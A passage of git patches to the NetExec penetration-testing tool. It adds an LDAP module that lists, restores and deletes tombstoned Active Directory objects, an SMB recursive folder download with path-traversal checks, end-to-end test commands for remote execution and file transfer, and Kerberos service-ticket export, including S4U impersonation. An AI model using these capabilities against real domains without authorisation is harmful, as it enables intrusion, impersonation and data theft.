"{self.deleteDN}" {ldap_session.result}') + context.log.highlight(f'Error when trying to delete "{self.deleteDN}" {e}') return @@ -209,9 +187,11 @@ def query_deleted_objects(self, context, connection): else: nxc_logger.debug(e) return False - - if len(resp) < 1: - context.log.highlight("Recycle is not active on that domain or no object is deleted with that id.") + + entries = [item for item in resp if isinstance(item, ldapasn1.SearchResultEntry)] + + if len(entries) < 2: + context.log.highlight("Recycle bin is not active on the domain or no user is in a tombstone state") return None @@ -234,27 +214,9 @@ def query_deleted_objects(self, context, connection): def on_login(self, context, connection): self.__domain = connection.domain - self.__domainNetbios = connection.domain - self.__kdcHost = connection.kdcHost - self.__username = connection.username - self.__password = connection.password - self.__host = connection.host - self.__aesKey = context.aesKey - self.__hashes = context.hash - self.__doKerberos = connection.kerberos - self.__nthash = "" - self.__lmhash = "" self.__sAMAccountName = "" self.__objectDN = "" self.__lastKnownParent = "" - - if context.hash and ":" in context.hash[0]: - hashList = context.hash[0].split(":") - self.__nthash = hashList[-1] - self.__lmhash = hashList[0] - elif context.hash and ":" not in context.hash[0]: - self.__nthash = context.hash[0] - self.__lmhash = "00000000000000000000000000000000" self.__domain = connection.domain From fea06fe912d8e527a2883c28a896af27a417f92b Mon Sep 17 00:00:00 2001 From: Fabrizzio53 <88493503+Fabrizzio53@users.noreply.github.com> Date: Wed, 15 Apr 2026 19:28:08 -0300 Subject: [PATCH 019/397] fixed ruff checks fixed ruff checks Signed-off-by: Fabrizzio53 <88493503+Fabrizzio53@users.noreply.github.com> --- nxc/modules/tombstone.py | 28 ++++++++-------------------- 1 file changed, 8 insertions(+), 20 deletions(-) diff --git a/nxc/modules/tombstone.py b/nxc/modules/tombstone.py index 4caf756205..3e67dc04d9 100644 --- a/nxc/modules/tombstone.py +++ b/nxc/modules/tombstone.py @@ -43,7 +43,6 @@ def options(self, context, module_options): self.id = module_options["ID"] if "DN" in module_options: self.deleteDN = module_options["DN"] - if "ACTION" in module_options and self.action == "restore" and "ID" not in module_options: context.log.error("ID is necessary when calling tombstone with the restore action") sys.exit(1) @@ -62,7 +61,6 @@ def restore_deleted_object(self, context, connection): # Search filter used to recover only Deleted objects and only the one with the specified id searchFilter = "(isDeleted=TRUE)" - # LDAP control necessary to show the deleted objects LDAP_SERVER_SHOW_DELETED_OID show_deleted_control = Control() show_deleted_control["controlType"] = "1.2.840.113556.1.4.417" @@ -90,16 +88,12 @@ def restore_deleted_object(self, context, connection): else: nxc_logger.debug(e) return False - resp_parsed = parse_result_attributes(resp) - - context.log.highlight(f"") + context.log.highlight("") for response in resp_parsed: - # The value 17 is the first entry from the ldap query when returning deleted objects and it should by default return the Deleted Objects OU information, by skipping this we return only objects that we want if len(response) != 17 and self.id == response["name"].split(":")[1]: - context.log.highlight("Found target!") context.log.highlight(f"sAMAccountName {response['sAMAccountName']}") context.log.highlight(f"dn {response['distinguishedName']}") @@ -125,8 +119,8 @@ def restore_deleted_object(self, context, connection): try: connection.ldap_connection.modify(dn=self.__objectDN, modifications={ - "isDeleted": [(MODIFY_DELETE, [])], # Remove the isDeleted atribute - "distinguishedName": [(MODIFY_REPLACE, [f"CN={self.__sAMAccountName},{self.__lastKnownParent}"])] #restore the user DN + "isDeleted": [(MODIFY_DELETE, [])], # Remove the isDeleted atribute + "distinguishedName": [(MODIFY_REPLACE, [f"CN={self.__sAMAccountName},{self.__lastKnownParent}"])] # Restore the user DN }, controls=[show_deleted_control] ) @@ -136,21 +130,19 @@ def restore_deleted_object(self, context, connection): except LDAPSessionError as e: context.log.highlight(f"Error at trying to recover the object {e}") - return - + return None + def delete_object(self, context, connection): - context.log.highlight(f"Trying to delete {self.deleteDN}") try: connection.ldap_connection.delete(dn=self.deleteDN) - context.log.highlight("") context.log.highlight(f'Success, "{self.deleteDN}" deleted') except LDAPSessionError as e: context.log.highlight("") - context.log.highlight(f'Error when trying to delete "{self.deleteDN}" {e}') + context.log.highlight(f'Error when trying to delete "{self.deleteDN}" {e}') return @@ -188,7 +180,7 @@ def query_deleted_objects(self, context, connection): nxc_logger.debug(e) return False - entries = [item for item in resp if isinstance(item, ldapasn1.SearchResultEntry)] + entries = [item for item in resp if isinstance(item, ldapasn1.SearchResultEntry)] if len(entries) < 2: context.log.highlight("Recycle bin is not active on the domain or no user is in a tombstone state") @@ -204,27 +196,23 @@ def query_deleted_objects(self, context, connection): # The value 17 is the first entry from the ldap query when returning deleted objects and it should by default return the Deleted Objects OU information, by skipping this we return only objects that we want if len(response) != 17: - context.log.highlight(f"sAMAccountName {response['sAMAccountName']}") context.log.highlight(f"dn {response['distinguishedName']}") context.log.highlight(f"ID {response['name'].split(':')[1]}") context.log.highlight(f"isDeleted {response['isDeleted']}") context.log.highlight(f"lastKnownParent {response['lastKnownParent']}") context.log.highlight("") - + def on_login(self, context, connection): self.__domain = connection.domain self.__sAMAccountName = "" self.__objectDN = "" self.__lastKnownParent = "" - self.__domain = connection.domain if self.action == "query": self.query_deleted_objects(context, connection) - if self.action == "delete": self.delete_object(context, connection) - if self.action == "restore": self.restore_deleted_object(context, connection) From a8a94671eab75589a4c9f1da91f92c8b1181cebf Mon Sep 17 00:00:00 2001 From: Fabrizzio53 <88493503+Fabrizzio53@users.noreply.github.com> Date: Wed, 22 Apr 2026 18:37:29 -0300 Subject: [PATCH 020/397] fixed issues pointed on the PR removed imports that were not being used, remove None returns, put the options at the start of the script and improved on indentation Signed-off-by: Fabrizzio53 <88493503+Fabrizzio53@users.noreply.github.com> --- nxc/modules/tombstone.py | 176 ++++++++++++++------------------------- 1 file changed, 63 insertions(+), 113 deletions(-) diff --git a/nxc/modules/tombstone.py b/nxc/modules/tombstone.py index 3e67dc04d9..50589ee885 100644 --- a/nxc/modules/tombstone.py +++ b/nxc/modules/tombstone.py @@ -1,7 +1,4 @@ import sys -from impacket.ldap import ldap as ldap_impacket -from impacket.ldap import ldapasn1 -from nxc.logger import nxc_logger from nxc.parsers.ldap_results import parse_result_attributes from impacket.ldap.ldapasn1 import Control from impacket.ldap.ldap import LDAPSessionError, MODIFY_REPLACE, MODIFY_DELETE @@ -36,7 +33,6 @@ def options(self, context, module_options): self.action = "query" self.id = "" self.deleteDN = "" - self.ssl = True if "ACTION" in module_options: self.action = module_options["ACTION"] if "ID" in module_options: @@ -51,6 +47,21 @@ def options(self, context, module_options): context.log.error("DN is necessary when calling tombstone with the delete action") sys.exit(1) + def on_login(self, context, connection): + self.__domain = connection.domain + self.__sAMAccountName = "" + self.__objectDN = "" + self.__lastKnownParent = "" + self.__domain = connection.domain + self.connection = connection + + if self.action == "query": + self.query_deleted_objects(context) + if self.action == "delete": + self.delete_object(context, connection) + if self.action == "restore": + self.restore_deleted_object(context, connection) + def domain_to_dn(self, domain): return ",".join(f"DC={part}" for part in domain.split(".")) @@ -59,8 +70,6 @@ def restore_deleted_object(self, context, connection): # ldap DN for deleted objects dn = "CN=Deleted Objects," + self.domain_to_dn(self.__domain) - # Search filter used to recover only Deleted objects and only the one with the specified id - searchFilter = "(isDeleted=TRUE)" # LDAP control necessary to show the deleted objects LDAP_SERVER_SHOW_DELETED_OID show_deleted_control = Control() show_deleted_control["controlType"] = "1.2.840.113556.1.4.417" @@ -68,69 +77,45 @@ def restore_deleted_object(self, context, connection): context.log.highlight(f"Trying to find object with given id {self.id}") - try: - context.log.debug(f"Search Filter={searchFilter}") - resp = connection.ldap_connection.search( - dn, - 2, - searchFilter=searchFilter, - attributes=["*"], - sizeLimit=0, - searchControls=[show_deleted_control] - ) - - except ldap_impacket.LDAPSearchError as e: - if e.getErrorString().find("sizeLimitExceeded") >= 0: - context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received") - # We reached the sizeLimit, process the answers we have already and that's it. Until we implement - # paged queries - resp = e.getAnswers() - else: - nxc_logger.debug(e) - return False + context.log.debug("Search Filter=(isDeleted=TRUE)") + resp = self.connection.search(baseDN=dn, searchFilter="(isDeleted=TRUE)", attributes=["*"], searchControls=[show_deleted_control]) + resp_parsed = parse_result_attributes(resp) context.log.highlight("") - for response in resp_parsed: - # The value 17 is the first entry from the ldap query when returning deleted objects and it should by default return the Deleted Objects OU information, by skipping this we return only objects that we want - if len(response) != 17 and self.id == response["name"].split(":")[1]: + for entries in resp_parsed: + + # This check ensures that we skip the result for the Default container and only get the result from the given ID. + if "container" in entries["objectClass"] and entries["description"] == "Default container for deleted objects": + continue + + if self.id == entries["name"].split(":")[1]: + context.log.highlight("Found target!") - context.log.highlight(f"sAMAccountName {response['sAMAccountName']}") - context.log.highlight(f"dn {response['distinguishedName']}") - context.log.highlight(f"ID {response['name'].split(':')[1]}") - context.log.highlight(f"isDeleted {response['isDeleted']}") - context.log.highlight(f"lastKnownParent {response['lastKnownParent']}") + context.log.highlight(f"{'sAMAccountName':<20}: {entries['sAMAccountName']}") + context.log.highlight(f"{'dn':<20}: {entries['distinguishedName']}") + context.log.highlight(f"{'ID':<20}: {entries['name'].split(':')[1]}") + context.log.highlight(f"{'isDeleted':<20}: {entries['isDeleted']}") + context.log.highlight(f"{'lastKnownParent':<20}: {entries['lastKnownParent']}") context.log.highlight("") - self.__sAMAccountName = response["sAMAccountName"] - self.__objectDN = response["distinguishedName"] - self.__lastKnownParent = response["lastKnownParent"] + + self.__sAMAccountName = entries["sAMAccountName"] + self.__objectDN = entries["distinguishedName"] + self.__lastKnownParent = entries["lastKnownParent"] break if self.__sAMAccountName == "": context.log.highlight(f"The object was not found with id {self.id}.") - return None - - # LDAP control necessary to pass when recovering deleted objects [LDAP_SERVER_SHOW_DELETED_OID] - show_deleted_control = Control() - show_deleted_control["controlType"] = "1.2.840.113556.1.4.417" - show_deleted_control["criticality"] = True + return False try: - connection.ldap_connection.modify(dn=self.__objectDN, - modifications={ - "isDeleted": [(MODIFY_DELETE, [])], # Remove the isDeleted atribute - "distinguishedName": [(MODIFY_REPLACE, [f"CN={self.__sAMAccountName},{self.__lastKnownParent}"])] # Restore the user DN - }, - controls=[show_deleted_control] - ) - + connection.ldap_connection.modify(dn=self.__objectDN, modifications={"isDeleted": [(MODIFY_DELETE, [])], "distinguishedName": [(MODIFY_REPLACE, [f"CN={self.__sAMAccountName},{self.__lastKnownParent}"])]}, controls=[show_deleted_control]) context.log.highlight(f'Success "CN={self.__sAMAccountName},{self.__lastKnownParent}" restored') except LDAPSessionError as e: - context.log.highlight(f"Error at trying to recover the object {e}") - - return None + context.log.fail(f"Error at trying to recover the object {e}") + return False def delete_object(self, context, connection): context.log.highlight(f"Trying to delete {self.deleteDN}") @@ -142,77 +127,42 @@ def delete_object(self, context, connection): except LDAPSessionError as e: context.log.highlight("") - context.log.highlight(f'Error when trying to delete "{self.deleteDN}" {e}') - - return + context.log.fail(f'Error when trying to delete "{self.deleteDN}" {e}') - def query_deleted_objects(self, context, connection): + def query_deleted_objects(self, context): # ldap DN for deleted objects dn = "CN=Deleted Objects," + self.domain_to_dn(self.__domain) - # Search filter used to recover only Deleted objects - searchFilter = "(isDeleted=TRUE)" - # LDAP control necessary to show the deleted objects LDAP_SERVER_SHOW_DELETED_OID show_deleted_control = Control() show_deleted_control["controlType"] = "1.2.840.113556.1.4.417" show_deleted_control["criticality"] = True - try: - context.log.debug(f"Search Filter={searchFilter}") - resp = connection.ldap_connection.search( - dn, - 2, - searchFilter=searchFilter, - attributes=["*"], - sizeLimit=0, - searchControls=[show_deleted_control] - ) - - except ldap_impacket.LDAPSearchError as e: - if e.getErrorString().find("sizeLimitExceeded") >= 0: - context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received") - # We reached the sizeLimit, process the answers we have already and that's it. Until we implement - # paged queries - resp = e.getAnswers() - else: - nxc_logger.debug(e) - return False - - entries = [item for item in resp if isinstance(item, ldapasn1.SearchResultEntry)] - - if len(entries) < 2: - context.log.highlight("Recycle bin is not active on the domain or no user is in a tombstone state") - - return None - - context.log.highlight(f"Found {len(resp)} deleted objects") - context.log.highlight("") - + context.log.debug("Search Filter=(isDeleted=TRUE)") + resp = self.connection.search(baseDN=dn, searchFilter="(isDeleted=TRUE)", attributes=["*"], searchControls=[show_deleted_control]) resp_parsed = parse_result_attributes(resp) - for response in resp_parsed: + if len(resp_parsed) == 0: + context.log.highlight("Could not find the Deleted Objects container, AD recycle bin might not be active") + return False - # The value 17 is the first entry from the ldap query when returning deleted objects and it should by default return the Deleted Objects OU information, by skipping this we return only objects that we want - if len(response) != 17: - context.log.highlight(f"sAMAccountName {response['sAMAccountName']}") - context.log.highlight(f"dn {response['distinguishedName']}") - context.log.highlight(f"ID {response['name'].split(':')[1]}") - context.log.highlight(f"isDeleted {response['isDeleted']}") - context.log.highlight(f"lastKnownParent {response['lastKnownParent']}") - context.log.highlight("") + elif len(resp_parsed) < 2: + context.log.highlight("No objects are in a tombstone state") + return False - def on_login(self, context, connection): - self.__domain = connection.domain - self.__sAMAccountName = "" - self.__objectDN = "" - self.__lastKnownParent = "" - self.__domain = connection.domain + context.log.highlight(f"Found {len(resp) - 1} deleted objects") + context.log.highlight("") - if self.action == "query": - self.query_deleted_objects(context, connection) - if self.action == "delete": - self.delete_object(context, connection) - if self.action == "restore": - self.restore_deleted_object(context, connection) + for entries in resp_parsed: + + # This check ensures that we skip the result for the Default container and only get results that are valid for us. + if "container" in entries["objectClass"] and entries["description"] == "Default container for deleted objects": + continue + + context.log.highlight(f"{'sAMAccountName':<20}: {entries['sAMAccountName']}") + context.log.highlight(f"{'dn':<20}: {entries['distinguishedName']}") + context.log.highlight(f"{'ID':<20}: {entries['name'].split(':')[1]}") + context.log.highlight(f"{'isDeleted':<20}: {entries['isDeleted']}") + context.log.highlight(f"{'lastKnownParent':<20}: {entries['lastKnownParent']}") + context.log.highlight("") From b020b2444189a5ba5fc623a2fadb585e4fc3d04c Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Thu, 5 Mar 2026 08:47:58 -0500 Subject: [PATCH 021/397] feat(smb): add --get-folder command for downloading remote directories Add download_file(), download_folder(), and get_folder() methods to the SMB protocol. Refactor get_file_single() to use download_file() with automatic fallback from READ to READ/WRITE access on sharing violations. New CLI args: --get-folder, --recursive, --ignore-empty-folders Example: nxc smb target -u user -p pass --share SYSVOL --get-folder 'domain\Policies' ./output --recursive --- nxc/protocols/smb.py | 96 +++++++++++++++++++++++++++++---- nxc/protocols/smb/proto_args.py | 3 ++ 2 files changed, 89 insertions(+), 10 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 6c5618464e..0cb13e243c 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -35,7 +35,7 @@ from impacket.dcerpc.v5.dtypes import NULL from impacket.dcerpc.v5.dcomrt import DCOMConnection from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Login, IWbemLevel1Login -from impacket.smb3structs import FILE_SHARE_WRITE, FILE_SHARE_DELETE, SMB2_0_IOCTL_IS_FSCTL +from impacket.smb3structs import FILE_READ_DATA, FILE_WRITE_DATA, FILE_SHARE_WRITE, FILE_SHARE_DELETE, SMB2_0_IOCTL_IS_FSCTL from impacket.dcerpc.v5 import tsts as TSTS from nxc.config import process_secret, host_info_colors, check_guest_account @@ -1944,24 +1944,100 @@ def put_file(self): for src, dest in self.args.put_file: self.put_file_single(src, dest) - def get_file_single(self, remote_path, download_path): + def download_file(self, share_name, remote_path, dest_file, access_mode=FILE_READ_DATA): + try: + self.logger.debug(f"Getting file from {share_name}:{remote_path} with access mode {access_mode}") + self.conn.getFile(share_name, remote_path, dest_file, shareAccessMode=access_mode) + return True + except SessionError as e: + if "STATUS_SHARING_VIOLATION" in str(e): + self.logger.debug(f"Sharing violation on {remote_path}: {e}") + else: + self.logger.debug(f"SessionError when attempting to download file {remote_path}: {e}") + return False + except Exception as e: + self.logger.debug(f"Other error when attempting to download file {remote_path}: {e}") + return False + + def get_file_single(self, remote_path, download_path, silent=False): share_name = self.args.share - self.logger.display(f'Copying "{remote_path}" to "{download_path}"') + if not silent: + self.logger.display(f"Copying '{remote_path}' to '{download_path}'") if self.args.append_host: download_path = f"{self.hostname}-{remote_path}" with open(download_path, "wb+") as file: - try: - self.conn.getFile(share_name, remote_path, file.write) - self.logger.success(f'File "{remote_path}" was downloaded to "{download_path}"') - except Exception as e: - self.logger.fail(f'Error writing file "{remote_path}" from share "{share_name}": {e}') - if os.path.getsize(download_path) == 0: - os.remove(download_path) + if self.download_file(share_name, remote_path, file.write): + if not silent: + self.logger.success(f"File '{remote_path}' was downloaded to '{download_path}'") + else: + self.logger.debug("Opening with READ alone failed, trying to open file with READ/WRITE access") + if self.download_file(share_name, remote_path, file.write, FILE_READ_DATA | FILE_WRITE_DATA): + if not silent: + self.logger.success(f"File '{remote_path}' was downloaded to '{download_path}'") + else: + if not silent: + self.logger.fail(f"Error downloading file '{remote_path}' from share '{share_name}'") def get_file(self): for src, dest in self.args.get_file: self.get_file_single(src, dest) + def download_folder(self, folder, dest, recursive=False, silent=False, base_dir=None, ignore_empty=False): + self.logger.debug(f"Downloading folder with args: {folder}, {dest}, Recursive: {recursive}, Silent: {silent}, Base dir: {base_dir}, Ignore empty: {ignore_empty}") + normalized_folder = ntpath.normpath(folder) + base_folder = os.path.basename(normalized_folder) + self.logger.debug(f"Base folder: {base_folder}") + + try: + items = self.conn.listPath(self.args.share, ntpath.join(folder, "*")) + except SessionError as e: + self.logger.error(f"Error listing folder '{folder}': {e}") + return + self.logger.debug(f"{len(items)} items in folder: {items}") + + filtered_items = [item for item in items if item.get_longname() not in [".", ".."]] + + # create local directory structure regardless of content; download empty folders by default + # change the Windows path to Linux and then join it with the base directory to get our actual save path + relative_path = os.path.join(*folder.replace(base_dir or folder, "").lstrip("\\").split("\\")) + local_folder_path = os.path.join(dest, relative_path) + + if not filtered_items and ignore_empty: + self.logger.debug(f"Skipping empty folder '{folder}'") + return + + # create the directory for this folder + os.makedirs(local_folder_path, exist_ok=True) + if not filtered_items and not silent: + self.logger.display(f"Created empty directory '{local_folder_path}'") + + for item in filtered_items: + item_name = item.get_longname() + dir_path = ntpath.normpath(ntpath.join(normalized_folder, item_name)) + self.logger.debug(f"Parsing item: {item_name}, {dir_path}") + + if item.is_directory() and recursive: + self.logger.debug(f"Found new directory to parse: {dir_path}") + self.download_folder(dir_path, dest, recursive, silent, base_dir or folder, ignore_empty) + elif not item.is_directory(): + remote_file_path = ntpath.join(folder, item_name) + local_file_path = os.path.join(local_folder_path, item_name) + self.logger.debug(f"{dest=} {remote_file_path=} {relative_path=} {local_folder_path=} {local_file_path=}") + + try: + self.get_file_single(remote_file_path, local_file_path, silent) + except FileNotFoundError: + self.logger.fail(f"Error downloading file '{remote_file_path}' due to file not found (probably a race condition between listing and downloading)") + + def get_folder(self): + recursive = self.args.recursive + ignore_empty = getattr(self.args, "ignore_empty_folders", False) + self.logger.debug(f"Recursive option set to {recursive}") + self.logger.debug(f"Ignore empty folders option set to {ignore_empty}") + for folder, dest in self.args.get_folder: + self.download_folder(folder, dest, recursive, False, None, ignore_empty) + self.logger.success(f"Folder '{folder}' was downloaded to '{dest}'") + def enable_remoteops(self, regsecret=False): try: if regsecret: diff --git a/nxc/protocols/smb/proto_args.py b/nxc/protocols/smb/proto_args.py index 6765559c24..5c52d1b79c 100644 --- a/nxc/protocols/smb/proto_args.py +++ b/nxc/protocols/smb/proto_args.py @@ -90,6 +90,9 @@ def proto_args(parser, parents): files_group = smb_parser.add_argument_group("File Operations") files_group.add_argument("--put-file", action="append", nargs=2, metavar="FILE", help="Put a local file into remote target, ex: whoami.txt \\\\Windows\\\\Temp\\\\whoami.txt") files_group.add_argument("--get-file", action="append", nargs=2, metavar="FILE", help="Get a remote file, ex: \\\\Windows\\\\Temp\\\\whoami.txt whoami.txt") + files_group.add_argument("--get-folder", action="append", nargs=2, metavar="DIR", help="Get a remote directory, ex: \\\\Windows\\\\Temp\\\\testing testing") + files_group.add_argument("--recursive", default=False, action="store_true", help="Recursively get a folder") + files_group.add_argument("--ignore-empty-folders", default=False, action="store_true", help="Ignore empty folders when downloading") files_group.add_argument("--append-host", action="store_true", help="append the host to the get-file filename") cmd_exec_group = smb_parser.add_argument_group("Command Execution") From 5932bce690d423b4316921fff855daf7bca68c4a Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Mon, 6 Apr 2026 14:42:22 -0400 Subject: [PATCH 022/397] fix(smb): add path sanitization helper and apply to download_folder --- nxc/helpers/path.py | 13 +++++++++++++ nxc/protocols/smb.py | 13 ++++++++++++- 2 files changed, 25 insertions(+), 1 deletion(-) create mode 100644 nxc/helpers/path.py diff --git a/nxc/helpers/path.py b/nxc/helpers/path.py new file mode 100644 index 0000000000..a4dd96029e --- /dev/null +++ b/nxc/helpers/path.py @@ -0,0 +1,13 @@ +from pathlib import PurePosixPath + + +def sanitize_filename(name: str) -> str: + """Strip path traversal components from an SMB filename. + + Follows the pattern from spider_plus.py — filters '..' and '.' from + PurePosixPath.parts to prevent directory traversal attacks from + malicious SMB servers. + """ + parts = PurePosixPath(name.replace("\\", "/")).parts + clean = [p for p in parts if p not in ("..", ".", "/")] + return str(PurePosixPath(*clean)) if clean else "" diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 0cb13e243c..67dae8069e 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -4,6 +4,9 @@ import re import struct import ipaddress +from pathlib import Path + +from nxc.helpers.path import sanitize_filename from Cryptodome.Hash import MD4 from textwrap import dedent @@ -2012,7 +2015,10 @@ def download_folder(self, folder, dest, recursive=False, silent=False, base_dir= self.logger.display(f"Created empty directory '{local_folder_path}'") for item in filtered_items: - item_name = item.get_longname() + item_name = sanitize_filename(item.get_longname()) + if not item_name: + self.logger.fail(f"Path traversal detected in '{item.get_longname()}', skipping") + continue dir_path = ntpath.normpath(ntpath.join(normalized_folder, item_name)) self.logger.debug(f"Parsing item: {item_name}, {dir_path}") @@ -2022,6 +2028,11 @@ def download_folder(self, folder, dest, recursive=False, silent=False, base_dir= elif not item.is_directory(): remote_file_path = ntpath.join(folder, item_name) local_file_path = os.path.join(local_folder_path, item_name) + # Defense-in-depth: verify path stays under destination + resolved = Path(local_file_path).resolve() + if not str(resolved).startswith(str(Path(dest).resolve()) + os.sep): + self.logger.fail(f"Path traversal detected in '{item_name}', skipping") + continue self.logger.debug(f"{dest=} {remote_file_path=} {relative_path=} {local_folder_path=} {local_file_path=}") try: From 598afaa79af2f0f01c1c4b7fd843e7024e48dca1 Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Mon, 6 Apr 2026 14:51:43 -0400 Subject: [PATCH 023/397] tests(get_folder): add e2e test line --- tests/e2e_commands.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/tests/e2e_commands.txt b/tests/e2e_commands.txt index 850262cfc5..d9ffc3a3d2 100644 --- a/tests/e2e_commands.txt +++ b/tests/e2e_commands.txt @@ -43,6 +43,7 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x ipconfig netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --put-file TEST_NORMAL_FILE \\Windows\\Temp\\test_file.txt netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --put-file TEST_NORMAL_FILE \\Windows\\Temp\\test_file.txt --put-file TEST_NORMAL_FILE \\Windows\\Temp\\test_file2.txt netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --get-file \\Windows\\Temp\\test_file.txt /tmp/test_file.txt +netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --get-folder \\Windows\\Temp\\ /tmp/test_folder/ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --no-admin-check ##### SMB PowerShell netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig From cd6d5b2ee543bf2bbe00291b1b9dbd2317066ed3 Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Tue, 28 Apr 2026 18:51:23 -0400 Subject: [PATCH 024/397] fix(smb): properly reference arg via dot notation --- nxc/protocols/smb.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 67dae8069e..bf51c50c23 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -2042,7 +2042,7 @@ def download_folder(self, folder, dest, recursive=False, silent=False, base_dir= def get_folder(self): recursive = self.args.recursive - ignore_empty = getattr(self.args, "ignore_empty_folders", False) + ignore_empty = self.args.ignore_empty_folders self.logger.debug(f"Recursive option set to {recursive}") self.logger.debug(f"Ignore empty folders option set to {ignore_empty}") for folder, dest in self.args.get_folder: From adfd529593c71b9cf1667ab2141c193e15e27a99 Mon Sep 17 00:00:00 2001 From: Fabrizzio53 <88493503+Fabrizzio53@users.noreply.github.com> Date: Thu, 30 Apr 2026 08:49:14 -0300 Subject: [PATCH 025/397] Removed a typo " in the first example Removed a typo " in the first example Signed-off-by: Fabrizzio53 <88493503+Fabrizzio53@users.noreply.github.com> --- nxc/modules/tombstone.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/modules/tombstone.py b/nxc/modules/tombstone.py index 50589ee885..d1cc06dbbc 100644 --- a/nxc/modules/tombstone.py +++ b/nxc/modules/tombstone.py @@ -25,7 +25,7 @@ def options(self, context, module_options): ACTION: Specify the action to execute, by default it uses the "query" action which only retrieve deleted objects, "restore" recover the object from the "ID" param, delete will delete the object. ID: The id of which object you want to restore. DN: The DN of which object you want to delete. - Usage: nxc ldap $DC-IP -u Username -p Password -M tombstone" + Usage: nxc ldap $DC-IP -u Username -p Password -M tombstone nxc ldap $DC-IP -u Username -p Password -M tombstone -o ACTION=restore ID=5ad162c9-97b1-4a90-a17c-5c2aedb7d1e3 nxc ldap $DC-IP -u Username -p Password -M tombstone -o ACTION=delete DN="CN=test,OU=Users,DC=test,DC=local" nxc ldap $DC-IP -u Username -p Password -M tombstone -o ACTION=query From c58f3e0675b842fd7e9434c5eb970cd462ff6f09 Mon Sep 17 00:00:00 2001 From: azoxlpf <213314124+azoxlpf@users.noreply.github.com> Date: Mon, 11 May 2026 14:50:11 +0200 Subject: [PATCH 026/397] add standalone --generate-st with --spn for Kerberos ST export --- nxc/protocols/smb.py | 75 +++++++++++++++++++++++++++++---- nxc/protocols/smb/proto_args.py | 8 ++-- 2 files changed, 70 insertions(+), 13 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 6c5618464e..9b7d243141 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -29,7 +29,7 @@ from impacket.dcerpc.v5.samr import SID_NAME_USE from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED from impacket.krb5.ccache import CCache -from impacket.krb5.kerberosv5 import SessionKeyDecryptionError, getKerberosTGT +from impacket.krb5.kerberosv5 import SessionKeyDecryptionError, getKerberosTGT, getKerberosTGS from impacket.krb5.types import KerberosException, Principal from impacket.krb5 import constants from impacket.dcerpc.v5.dtypes import NULL @@ -372,18 +372,18 @@ def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", if self.args.delegate: kerb_pass = "" self.username = self.args.delegate - serverName = Principal(self.args.delegate_spn if self.args.delegate_spn else f"cifs/{self.remoteName}", type=constants.PrincipalNameType.NT_SRV_INST.value) + serverName = Principal(self.args.spn if self.args.spn else f"cifs/{self.remoteName}", type=constants.PrincipalNameType.NT_SRV_INST.value) tgs, sk = kerberos_login_with_S4U(domain, self.hostname, username, password, nthash, lmhash, aesKey, kdcHost, self.args.delegate, serverName, useCache, no_s4u2proxy=self.args.no_s4u2proxy) self.logger.debug(f"TGS obtained for {self.args.delegate} for {serverName}") + if self.args.generate_st: + self.save_st(tgs, sk) + spn = f"cifs/{self.remoteName}" - if self.args.delegate_spn: + if self.args.spn: self.logger.debug(f"Swapping SPN to {spn} for TGS") tgs = kerberos_altservice(tgs, spn) - if self.args.generate_st: - self.save_st(tgs, sk, spn if self.args.delegate_spn else None) - self.conn.kerberosLogin(self.username, password, domain, lmhash, nthash, aesKey, kdcHost, useCache=useCache, TGS=tgs) if "Unix" not in self.server_os: self.check_if_admin() @@ -397,8 +397,8 @@ def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", if self.args.delegate: used_ccache = f" through S4U with {username}" - if self.args.delegate_spn: - used_ccache = f" through S4U with {username} (w/ SPN {self.args.delegate_spn})" + if self.args.spn: + used_ccache = f" through S4U with {username} (w/ SPN {self.args.spn})" out = f"{self.domain}\\{self.username}{used_ccache} {self.mark_pwned()}" self.logger.success(out) @@ -730,6 +730,65 @@ def generate_tgt(self): except Exception as e: self.logger.fail(f"Failed to get TGT: {e}") + def generate_st(self): + # When --delegate is used, the S4U Service Ticket is already obtained and saved during kerberos_login + if self.args.delegate: + return + + if not self.args.spn: + self.logger.fail("--spn is required with --generate-st when --delegate is not used") + return + + self.logger.info(f"Attempting to get ST for SPN {self.args.spn} as {self.username}@{self.domain}") + + try: + tgt = cipher = tgt_session_key = None + + if self.use_kcache: + try: + _, _, cached_tgt, _ = CCache.parseFile(self.domain, self.username) + if cached_tgt is not None: + tgt = cached_tgt["KDC_REP"] + cipher = cached_tgt["cipher"] + tgt_session_key = cached_tgt["sessionKey"] + self.logger.debug("Using TGT from ccache") + except Exception as e: + self.logger.debug(f"Could not load TGT from ccache: {e}") + + if tgt is None: + user_name = Principal(self.username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + tgt, cipher, _, tgt_session_key = getKerberosTGT( + clientName=user_name, + 